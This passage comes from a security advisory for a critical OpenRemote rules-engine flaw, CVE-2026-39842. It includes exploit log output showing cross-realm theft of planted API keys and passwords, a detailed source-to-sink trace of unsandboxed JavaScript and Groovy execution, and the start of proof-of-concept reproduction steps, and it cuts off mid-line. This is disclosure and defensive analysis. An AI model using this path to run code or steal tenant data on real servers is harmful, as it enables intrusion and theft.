2026-03-27T07:17:55.162Z [EXPLOIT-XREALM] Facade class: org.openremote.manager.rules.facade.AssetsFacade
2026-03-27T07:17:55.190Z [EXPLOIT-XREALM] Got AssetStorageService: org.openremote.manager.asset.AssetStorageService
2026-03-27T07:17:55.199Z [EXPLOIT-XREALM] Found 2 assets in realm 'realmb'
2026-03-27T07:17:55.207Z [EXPLOIT-XREALM] STOLEN Asset: name=SecretSensorB, id=3eZKswGIALiGAqeEPdnH3t, type=ThingAsset
2026-03-27T07:17:55.228Z [EXPLOIT-XREALM]   STOLEN ATTR: notes = Internal sensor - classified
2026-03-27T07:17:55.229Z [EXPLOIT-XREALM]   STOLEN ATTR: apiKey = sk-realmB-api-key-very-secret
2026-03-27T07:17:55.230Z [EXPLOIT-XREALM]   STOLEN ATTR: location = GeoJSONPoint{coordinates=5.46, 51.44, NaN}
2026-03-27T07:17:55.230Z [EXPLOIT-XREALM]   STOLEN ATTR: internalPassword = P@ssw0rd_Internal_2024
2026-03-27T07:17:55.230Z [EXPLOIT-XREALM]   STOLEN ATTR: secretData = REALM_B_CONFIDENTIAL_DATA_67890

Cross-realm enumeration — all assets across all realms:

2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] Total assets across ALL realms: 5
2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=5pVko8DN...
2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=4zfyoaiL...
2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestMasterAsset, id=3vqFI9kI...
2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=3eZKswGI...
2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=4cddi4nc...

Impact: Complete multi-tenant isolation bypass. Realm A's non-superuser successfully: - Extracted all sensitive attribute values from Realm B (API keys, passwords, confidential data) - Enumerated all assets across ALL realms including the master realm - Bypassed both the realm restriction AND the excludeAttributes() protection in AssetsFacade


  • Authorization Bypass Verification

The same attacker user attempted to create a Groovy rule (which is correctly restricted to superusers):

Create Groovy rule (same attacker): HTTP 403
>> Groovy rule REJECTED (HTTP 403) — as expected for non-superuser
>> BUT all JavaScript rules were ACCEPTED (HTTP 200) — THIS IS THE VULNERABILITY!

Root cause in source code (RulesResourceImpl.java:262):

// Only blocks Groovy for non-superusers — JavaScript is UNRESTRICTED
if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser()) {
    throw new ForbiddenException("Forbidden");
}
// No check for Lang.JAVASCRIPT!

Impact

Remote code execution.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.21.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.openremote:openremote-manager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39842"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-917",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T22:31:36Z",
    "nvd_published_at": "2026-04-15T04:17:36Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe OpenRemote IoT platform\u0027s rules engine contains two interrelated critical expression injection vulnerabilities that allow an attacker to execute arbitrary code on the server, ultimately achieving full server compromise.\n\n- Unsandboxed Nashorn JavaScript Engine: JavaScript rules are executed via Nashorn\u0027s ScriptEngine.eval() with user-supplied script content and no sandboxing, class filtering, or access restrictions. Critically, any non-superuser with the write:rules role can create JavaScript rulesets.\n- Inactive Groovy Sandbox: The Groovy rules engine has a GroovyDenyAllFilter security filter that is defined but never registered (the registration code is commented out), rendering the SandboxTransformer ineffective. While Groovy rules are restricted to superusers, the absence of sandboxing violates the principle of defense in depth.\n\n### Details\n\n#### Attacker-Controllable Source-to-Sink Paths\n\nThere are two non-superuser and two superuser exploitable attack paths from the REST API entry point to final code execution. (JavaScript \u00d7 Realm/Asset + Groovy \u00d7 Realm/Asset) The most critical path is detailed below.\n\nPath 1: Unsandboxed JavaScript Expression Injection via Realm Ruleset (Non-Superuser Exploitable)\n\n**`RulesetDeployment.java` L368:**\n\n```java\nObject result = scriptEngine.eval(script, engineScope);\n```\n\nThe Nashorn JavaScript engine is initialized **without** a `ClassFilter`, allowing `Java.type()` to access any JVM class \u2014 including `java.lang.Runtime` (for RCE), `java.io.FileReader` (for file read), and `java.lang.System` (for env theft).\n\n\n**`RulesResourceImpl.java` L309 (and L331, L359, L412, L437):**\n\n```java\n// VULNERABLE: only restricts Groovy, JavaScript completely unrestricted\nif (ruleset.getLang() == Ruleset.Lang.GROOVY \u0026\u0026 !isSuperUser()) {\n    throw new WebApplicationException(Response.Status.FORBIDDEN);\n}\n```\n\nNon-superuser attackers with only the `write:rules` role can submit arbitrary JavaScript rules that execute with full JVM access.\n\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502                          SOURCE \u2192 SINK Complete Data Flow                                \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502                                                                                         \u2502\n\u2502  \u2460 HTTP REQUEST (Source / Entry Point)                                                   \u2502\n\u2502  POST /api/{realm}/rules/realm                                                          \u2502\n\u2502  Content-Type: application/json                                                         \u2502\n\u2502  Body: { \"type\":\"realm\", \"lang\":\"JAVASCRIPT\",                                           \u2502\n\u2502          \"rules\":\"\u003cMALICIOUS_SCRIPT\u003e\", ... }     \u2190 Attacker-controlled malicious script  \u2502\n\u2502                                                                                         \u2502\n\u2502                              \u2193 JAX-RS Deserialization                                    \u2502\n\u2502                                                                                         \u2502\n\u2502  \u2461 RulesResource.createRealmRuleset()                                                   \u2502\n\u2502     model/.../rules/RulesResource.java:153-158                                          \u2502\n\u2502     @POST @Path(\"realm\") @RolesAllowed(\"write:rules\")                                   \u2502\n\u2502     Interface: long createRealmRuleset(RequestParams, @Valid RealmRuleset ruleset)       \u2502\n\u2502     JSON body \u2192 RealmRuleset object (Jackson deserialization)                            \u2502\n\u2502     RealmRuleset.rules field \u2190 attacker\u0027s malicious script content                      \u2502\n\u2502     RealmRuleset.lang  field \u2190 \"JAVASCRIPT\"                                             \u2502\n\u2502                                                                                         \u2502\n\u2502                              \u2193 Calls implementation                                      \u2502\n\u2502                                                                                         \u2502\n\u2502  \u2462 RulesResourceImpl.createRealmRuleset()  \u2190 \u26a0\ufe0f Authorization flaw here                 \u2502\n\u2502     manager/.../rules/RulesResourceImpl.java:250-267                                    \u2502\n\u2502     - L255: isRealmActiveAndAccessible(realm) \u2014 checks realm accessible \u2713                \u2502\n\u2502     - L255: isRestrictedUser() \u2014 restricted users blocked \u2713                              \u2502\n\u2502     - L262: if (ruleset.getLang() == Ruleset.Lang.GROOVY \u0026\u0026 !isSuperUser())              \u2502\n\u2502       \u2192 Only blocks GROOVY for non-superusers \u2713                                          \u2502\n\u2502     - \u26a0\ufe0f NO check for Lang.JAVASCRIPT! JavaScript rules pass through unrestricted \u26a0\ufe0f    \u2502\n\u2502     - L265: ruleset = rulesetStorageService.merge(ruleset)                              \u2502\n\u2502       \u2192 Passes the RealmRuleset (with malicious script) to persistence layer            \u2502\n\u2502                                                                                         \u2502\n\u2502                              \u2193 JPA Persistence                                           \u2502\n\u2502                                                                                         \u2502\n\u2502  \u2463 RulesetStorageService.merge()                                                        \u2502\n\u2502     manager/.../rules/RulesetStorageService.java:155-159                                \u2502\n\u2502     - L157: entityManager.merge(ruleset)                                                \u2502\n\u2502       \u2192 Persists RealmRuleset entity (with rules and lang fields) to REALM_RULESET table\u2502\n\u2502     - After JPA transaction commit, Hibernate event listener is triggered               \u2502\n\u2502                                                                                         \u2502\n\u2502                              \u2193 Hibernate Event \u2192 Camel Message                           \u2502\n\u2502                                                                                         \u2502\n\u2502  \u2464 Hibernate Interceptor \u2192 PersistenceService Event Publishing                          \u2502\n\u2502     container/.../persistence/PersistenceEventInterceptor.java:51-62, 102-119           \u2502\n\u2502     - L55-56: new PersistenceEvent\u003c\u003e(CREATE, entity, propertyNames, state)              \u2502\n\u2502       \u2192 Hibernate Interceptor captures the JPA entity persist event                     \u2502\n\u2502     - L102-119: afterTransactionBegin() registers Synchronization callback;             \u2502\n\u2502       afterCompletion() calls eventConsumer.accept(persistenceEvent) (L114)             \u2502\n\u2502     container/.../persistence/PersistenceService.java:596-607                           \u2502\n\u2502     - PersistenceService implements Consumer\u003cPersistenceEvent\u003c?\u003e\u003e (L84)                 \u2502\n\u2502     - L596-606: accept() publishes event to Camel SEDA topic:                           \u2502\n\u2502       producerTemplate.withBody(persistenceEvent)                                       \u2502\n\u2502       .withHeader(HEADER_ENTITY_TYPE, entity.getClass())                                \u2502\n\u2502       .to(PERSISTENCE_TOPIC).asyncSend()                                                \u2502\n\u2502     - PERSISTENCE_TOPIC = \"seda://PersistenceTopic?multipleConsumers=true\u0026...\"           \u2502\n\u2502       (PersistenceService.java:209-210)                                                 \u2502\n\u2502                                                                                         \u2502\n\u2502                              \u2193 Camel Route Consumption                                   \u2502\n\u2502                                                                                         \u2502\n\u2502  \u2465 RulesService.configure() \u2014 Camel Route Processor                                     \u2502\n\u2502     manager/.../rules/RulesService.java:228-235                                         \u2502\n\u2502     - L228: from(PERSISTENCE_TOPIC)                                                     \u2502\n\u2502     - L230: .filter(isPersistenceEventForEntityType(Ruleset.class))                     \u2502\n\u2502       \u2192 Filters for Ruleset-type events only                                             \u2502\n\u2502     - L232-234: .process(exchange -\u003e {                                                  \u2502\n\u2502         PersistenceEvent\u003c?\u003e pe = exchange.getIn().getBody(PersistenceEvent.class);       \u2502\n\u2502         processRulesetChange((Ruleset) pe.getEntity(), pe.getCause());                  \u2502\n\u2502       })                                                                                \u2502\n\u2502       \u2192 Extracts RealmRuleset entity from event and dispatches to change handler        \u2502\n\u2502                                                                                         \u2502\n\u2502                              \u2193                                                           \u2502\n\u2502                                                                                         \u2502\n\u2502  \u2466 RulesService.processRulesetChange()                                                  \u2502\n\u2502     manager/.../rules/RulesService.java:503-531                                         \u2502\n\u2502     - L504: cause == CREATE (not DELETE), ruleset.isEnabled() == true                   \u2502\n\u2502       \u2192 Enters the deployment branch (else block)                                       \u2502\n\u2502     - L518: ruleset instanceof RealmRuleset \u2192 takes realm branch                        \u2502\n\u2502     - L520: RulesEngine\u003cRealmRuleset\u003e engine =                                          \u2502\n\u2502             deployRealmRuleset((RealmRuleset) ruleset)                                   \u2502\n\u2502     - L521: engine.start()                                                              \u2502\n\u2502                                                                                         \u2502\n\u2502                              \u2193                                                           \u2502\n\u2502                                                                                         \u2502\n\u2502  \u2467 RulesService.deployRealmRuleset()                                                    \u2502\n\u2502     manager/.../rules/RulesService.java:589-625                                         \u2502\n\u2502     - L591: Gets existing engine from realmEngines Map or creates new one               \u2502\n\u2502     - L594-613: If new engine: new RulesEngine\u003c\u003e(...), stores in realmEngines           \u2502\n\u2502     - (via addRuleset): engine.addRuleset(ruleset)                                      \u2502\n\u2502       \u2192 Passes RealmRuleset to engine for deployment                                    \u2502\n\u2502                                                                                         \u2502\n\u2502                              \u2193                                                           \u2502\n\u2502                                                                                         \u2502\n\u2502  \u2468 RulesEngine.addRuleset()                                                             \u2502\n\u2502     manager/.../rules/RulesEngine.java:252-273                                          \u2502\n\u2502     - L264: deployment = new RulesetDeployment(ruleset, this, timerService,             \u2502\n\u2502             assetStorageService, executorService, scheduledExecutorService,              \u2502\n\u2502             assetsFacade, usersFacade, notificationFacade, webhooksFacade,               \u2502\n\u2502             alarmsFacade, historicFacade, predictedFacade)                               \u2502\n\u2502       \u2192 Creates deployment object wrapping the Ruleset (with malicious script)          \u2502\n\u2502     - L265: deployment.init()                                                           \u2502\n\u2502       \u2192 Triggers compilation and initialization                                         \u2502\n\u2502                                                                                         \u2502\n\u2502                              \u2193                                                           \u2502\n\u2502                                                                                         \u2502\n\u2502  \u2469 RulesetDeployment.init()                                                             \u2502\n\u2502     manager/.../rules/RulesetDeployment.java:132-158                                    \u2502\n\u2502     - L143: TextUtil.isNullOrEmpty(ruleset.getRules()) \u2192 false, script is non-empty     \u2502\n\u2502     - L149: ruleset.isEnabled() \u2192 true                                                  \u2502\n\u2502     - L154: if (!compile()) \u2192 calls compile()                                           \u2502\n\u2502                                                                                         \u2502\n\u2502                              \u2193                                                           \u2502\n\u2502                                                                                         \u2502\n\u2502  \u246a RulesetDeployment.compile()                                                          \u2502\n\u2502     manager/.../rules/RulesetDeployment.java:211-228                                    \u2502\n\u2502     - L217: switch (ruleset.getLang()) {                                                \u2502\n\u2502     - L218:   case JAVASCRIPT:  \u2190 lang field is JAVASCRIPT                              \u2502\n\u2502     - L219:     return compileRulesJavascript(ruleset, assetsFacade,                    \u2502\n\u2502                   usersFacade, notificationsFacade, historicDatapointsFacade,            \u2502\n\u2502                   predictedDatapointsFacade);                                           \u2502\n\u2502                                                                                         \u2502\n\u2502                              \u2193                                                           \u2502\n\u2502                                                                                         \u2502\n\u2502  \u246b RulesetDeployment.compileRulesJavascript()  \u2190 SINK (Code Execution Point)        \u2502\n\u2502     manager/.../rules/RulesetDeployment.java:306-378                                    \u2502\n\u2502                                                                                         \u2502\n\u2502     - L307: // TODO https://github.com/pfisterer/scripting-sandbox/...                  \u2502\n\u2502       \u2191 Sandbox was NEVER implemented (only a TODO comment)                             \u2502\n\u2502                                                                                         \u2502\n\u2502     - L308: ScriptEngine scriptEngine =                                                 \u2502\n\u2502             scriptEngineManager.getEngineByName(\"nashorn\");                              \u2502\n\u2502       \u2191 Uses Nashorn 15.7 (gradle.properties:59)                                        \u2502\n\u2502       \u2191 Obtained via ScriptEngineManager \u2014 NO ClassFilter applied                       \u2502\n\u2502       \u2191 Attacker can access ANY Java class via Java.type()                              \u2502\n\u2502                                                                                         \u2502\n\u2502     - L309-311: Creates ScriptContext and Bindings                                      \u2502\n\u2502     - L312-317: Binds internal service objects to engineScope:                          \u2502\n\u2502         \"LOG\" \u2192 Logger, \"assets\" \u2192 Assets facade,                                       \u2502\n\u2502         \"users\" \u2192 Users facade, \"notifications\" \u2192 Notifications facade                  \u2502\n\u2502                                                                                         \u2502\n\u2502     - L319: String script = ruleset.getRules();                                         \u2502\n\u2502       \u2191\u2191\u2191 DIRECTLY reads the attacker\u0027s malicious script content \u2191\u2191\u2191                    \u2502\n\u2502       \u2191\u2191\u2191 This is the exact same value from the HTTP Body \"rules\" field \u2191\u2191\u2191             \u2502\n\u2502       \u2191\u2191\u2191 passed through step \u2460 with NO sanitization whatsoever \u2191\u2191\u2191                     \u2502\n\u2502                                                                                         \u2502\n\u2502     - L322-365: Auto-prepends Java interop prefix:                                      \u2502\n\u2502         load(\"nashorn:mozilla_compat.js\")  \u2192 provides importPackage()                   \u2502\n\u2502         importPackage(\"java.util.stream\", ...)  \u2192 auto-imports Java packages            \u2502\n\u2502         var Match = Java.type(\"...AssetQuery$Match\")  \u2192 pre-registers Java.type()       \u2502\n\u2502         ... (12 active Java.type references; 1 commented out)                           \u2502\n\u2502       \u2191 These prefixes further lower the attack barrier                                 \u2502\n\u2502                                                                                         \u2502\n\u2502     - L365: + script;                                                                   \u2502\n\u2502       \u2191 Attacker script appended directly (string concatenation, no checks)             \u2502\n\u2502                                                                                         \u2502\n\u2502     - L368: scriptEngine.eval(script, engineScope);                                     \u2502\n\u2502       \u2191\u2191\u2191 !!! FINAL SINK \u2014 The script string containing attacker\u0027s                  \u2502\n\u2502       \u2191\u2191\u2191 malicious code is DIRECTLY EXECUTED by Nashorn ScriptEngine                   \u2502\n\u2502       \u2191\u2191\u2191 Attacker uses Java.type(\u0027java.lang.Runtime\u0027) etc. to invoke                  \u2502\n\u2502       \u2191\u2191\u2191 arbitrary Java class methods, achieving Remote Code Execution (RCE)           \u2502\n\u2502                                                                                         \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\nPath 2: JavaScript Expression Injection via Asset Ruleset (Non-Superuser Exploitable) \n\nSame data flow as Path 1. Differences only in the first three steps:\n\n| Step | Difference |\n|------|-----------|\n| \u2460 Source | `POST /api/{realm}/rules/asset`, body includes `\"assetId\":\"xxx\"` |\n| \u2461 Entry | `RulesResource.createAssetRuleset()` \u2014 `RulesResource.java:200-206` |\n| \u2462 Auth Flaw | `RulesResourceImpl.createAssetRuleset()` \u2014 `RulesResourceImpl.java:341-365`: L350 checks realm accessible, L353 checks restricted user\u0027s asset link, L359 only blocks `GROOVY`, **`JAVASCRIPT` unrestricted**. L363 `rulesetStorageService.merge(ruleset)` |\n\n\n#### Sink Code Analysis\n\nSink 1: `compileRulesJavascript()` \u2014 Lines 306-378\n\n```java\n// RulesetDeployment.java L306-378\nprotected boolean compileRulesJavascript(Ruleset ruleset, ...) {\n    // L307: TODO indicates sandbox was NEVER implemented\n    // L308: Gets Nashorn engine via ScriptEngineManager \u2014 NO ClassFilter\n    ScriptEngine scriptEngine = scriptEngineManager.getEngineByName(\"nashorn\");\n    \n    // L312-317: Binds internal service objects\n    engineScope.put(\"LOG\", LOG);\n    engineScope.put(\"assets\", assetsFacade);\n\n    // L319: DIRECTLY reads attacker\u0027s script content\n    String script = ruleset.getRules();\n\n    // L322-365: Prepends Java interop imports (lowers attack barrier)\n    script = \"load(\\\"nashorn:mozilla_compat.js\\\");\\n\" + ... + script;\n\n    // L368: SINK \u2014 Executes the malicious script!\n    scriptEngine.eval(script, engineScope);\n}\n```\n\nWhy missing ClassFilter is fatal: The Nashorn engine provides a ClassFilter interface to restrict which Java classes scripts can access. The current code uses scriptEngineManager.getEngineByName(\"nashorn\") (L308) which applies no ClassFilter, so the attacker can access any Java class via Java.type().\n\nSink 2: `compileRulesGroovy()` \u2014 Lines 449-485\n\n```java\n// RulesetDeployment.java L449-485\nprotected boolean compileRulesGroovy(Ruleset ruleset, ...) {\n    // L451-452: Sandbox code COMMENTED OUT\n    // TODO Implement sandbox\n    // new DenyAll().register();   \u2190 COMMENTED OUT!\n\n    // L453: Parses attacker\u0027s Groovy script\n    Script script = groovyShell.parse(ruleset.getRules());\n    \n    // L473: SINK \u2014 Directly executes Groovy script\n    script.run();\n}\n```\n\nWhy SandboxTransformer is ineffective: The GroovyShell uses SandboxTransformer (L79-81) for AST transformation, but this transformer relies on registered GroovyInterceptor instances at runtime. Since new DenyAll().register() is commented out (L452), no interceptor is registered, making SandboxTransformer a no-op. \n\n\n### Path 3: Groovy Expression Injection via Realm Ruleset (Superuser Only)\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502                          SOURCE \u2192 SINK Complete Data Flow (Groovy)                       \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502                                                                                         \u2502\n\u2502  \u2460 HTTP POST /api/{realm}/rules/realm                                                   \u2502\n\u2502     Body: { \"type\":\"realm\", \"lang\":\"GROOVY\",                                            \u2502\n\u2502             \"rules\":\"\u003cMALICIOUS_GROOVY\u003e\", ... }                                         \u2502\n\u2502     Requires superuser privileges                                                       \u2502\n\u2502                                                                                         \u2502\n\u2502  \u2461 RulesResource.createRealmRuleset()  \u2014 RulesResource.java:153-158                    \u2502\n\u2502                                                                                         \u2502\n\u2502  \u2462 RulesResourceImpl.createRealmRuleset() \u2014 RulesResourceImpl.java:250-267             \u2502\n\u2502     - L262: if (lang == GROOVY \u0026\u0026 !isSuperUser()) \u2192 superuser passes \u2713                  \u2502\n\u2502     - L265: rulesetStorageService.merge(ruleset)                                        \u2502\n\u2502                                                                                         \u2502\n\u2502  \u2463-\u2469 Same as Path 1 steps \u2463-\u2469                                                          \u2502\n\u2502                                                                                         \u2502\n\u2502  \u246a RulesetDeployment.compile()  \u2014 RulesetDeployment.java:211-228                       \u2502\n\u2502     - L220: case GROOVY \u2192 compileRulesGroovy(ruleset, ...)                              \u2502\n\u2502                                                                                         \u2502\n\u2502  \u246b RulesetDeployment.compileRulesGroovy()  \u2190 SINK                                   \u2502\n\u2502     manager/.../rules/RulesetDeployment.java:449-485                                    \u2502\n\u2502     - L451: // TODO Implement sandbox  \u2190 Sandbox NEVER implemented                      \u2502\n\u2502     - L452: // new DenyAll().register()  \u2190 Security filter COMMENTED OUT!            \u2502\n\u2502     - L453: Script script = groovyShell.parse(ruleset.getRules())                       \u2502\n\u2502       \u2191 groovyShell uses SandboxTransformer (L79-81)                                    \u2502\n\u2502       \u2191 But no GroovyInterceptor registered \u2192 SandboxTransformer is ineffective         \u2502\n\u2502       \u2191 ruleset.getRules() directly reads attacker\u0027s malicious Groovy script            \u2502\n\u2502     - L454-462: Creates Binding, binds internal service objects                         \u2502\n\u2502     - L472: script.setBinding(binding)                                                  \u2502\n\u2502     - L473: script.run()                                                                \u2502\n\u2502       \u2191\u2191\u2191 FINAL SINK \u2014 Groovy script executed directly, no sandbox \u2191\u2191\u2191              \u2502\n\u2502                                                                                         \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### Path 4: Groovy Expression Injection via Asset Ruleset (Superuser Only)\n\nSame as Path 3; first three steps differ as in Path 2.\n\n\n### PoC\n\n#### Test Environment\n\n| Component | Details |\n|-----------|---------|\n| Host OS | macOS Darwin 25.1.0 |\n| Docker | Docker Compose with official OpenRemote images |\n| OpenRemote | `openremote/manager:latest` (v1.20.2) |\n| Keycloak | `openremote/keycloak:latest` |\n| PostgreSQL | `openremote/postgresql:latest-slim` |\n| Target URL | `https://localhost` |\n\n#### Multi-Tenant Test Topology\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502                  OpenRemote Platform                    \u2502\n\u2502                                                         \u2502\n\u2502  \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510       \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510         \u2502\n\u2502  \u2502   Realm A        \u2502       \u2502   Realm B        \u2502         \u2502\n\u2502  \u2502   (Attacker)     \u2502       \u2502   (Victim)       \u2502         \u2502\n\u2502  \u2502                  \u2502       \u2502                  \u2502         \u2502\n\u2502  \u2502  User: attacker  \u2502  \u2500\u2500X\u2500\u2500\u2502  SecretSensorB   \u2502         \u2502\n\u2502  \u2502  Roles:          \u2502 API   \u2502    secretData    \u2502         \u2502\n\u2502  \u2502   write:rules    \u2502blocked\u2502    apiKey        \u2502         \u2502\n\u2502  \u2502   read:assets    \u2502       \u2502    password      \u2502         \u2502\n\u2502  \u2502  NOT superuser   \u2502       \u2502                  \u2502         \u2502\n\u2502  \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518       \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518         \u2502\n\u2502                                                         \u2502\n\u2502  API isolation: Realm A user CANNOT access Realm B      \u2502\n\u2502  via normal REST API (HTTP 401)                         \u2502\n\u2502                                                         \u2502\n\u2502  Exploit: Realm A user creates JavaScript rule that     \u2502\n\u2502  executes arbitrary code on the SERVER, bypassing all   \u2502\n\u2502  tenant isolation                                       \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n#### Deployment\n\nOpenRemote was started using the project\u0027s official `docker-compose.yml`:\n\n```\ncd /path/to/openremote-openremote\ndocker compose up -d\n```\n\nContainers running:\n\n\u003cimg width=\"1430\" height=\"136\" alt=\"\u622a\u5c4f2026-03-27 14 50 10\" src=\"https://github.com/user-attachments/assets/8291181b-56a3-4fc6-a7d3-77ab276b6d6c\" /\u003e\n\n#### Reproduction Steps \u0026 Evidence\n\n##### Step 0: Obtain Admin Tokens\n\n```\nKC admin-cli token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...\n[OK] Direct access grants for \u0027master\u0027: HTTP 204\nOR admin token:     eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...\nAPI health check: HTTP 200, version=1.20.2\n```\n\n##### Step 1: Setup Multi-Tenant Environment\n\nCreated Realm B (victim) with sensitive assets, and Realm A (attacker) with a non-superuser.\n\n```\nCreate realm \u0027realmb\u0027: HTTP 409     (already exists from prior run \u2014 OK)\n[OK] Direct access grants for \u0027realmb\u0027: HTTP 204\nCreate victim asset in realmb: HTTP 200, ID=4cddi4ncR9w7RHRbVzVZfq\nPlanted sensitive data in Realm B:\n  secretData       = \u0027REALM_B_CONFIDENTIAL_DATA_67890\u0027\n  apiKey           = \u0027sk-realmB-api-key-very-secret\u0027\n  internalPassword = 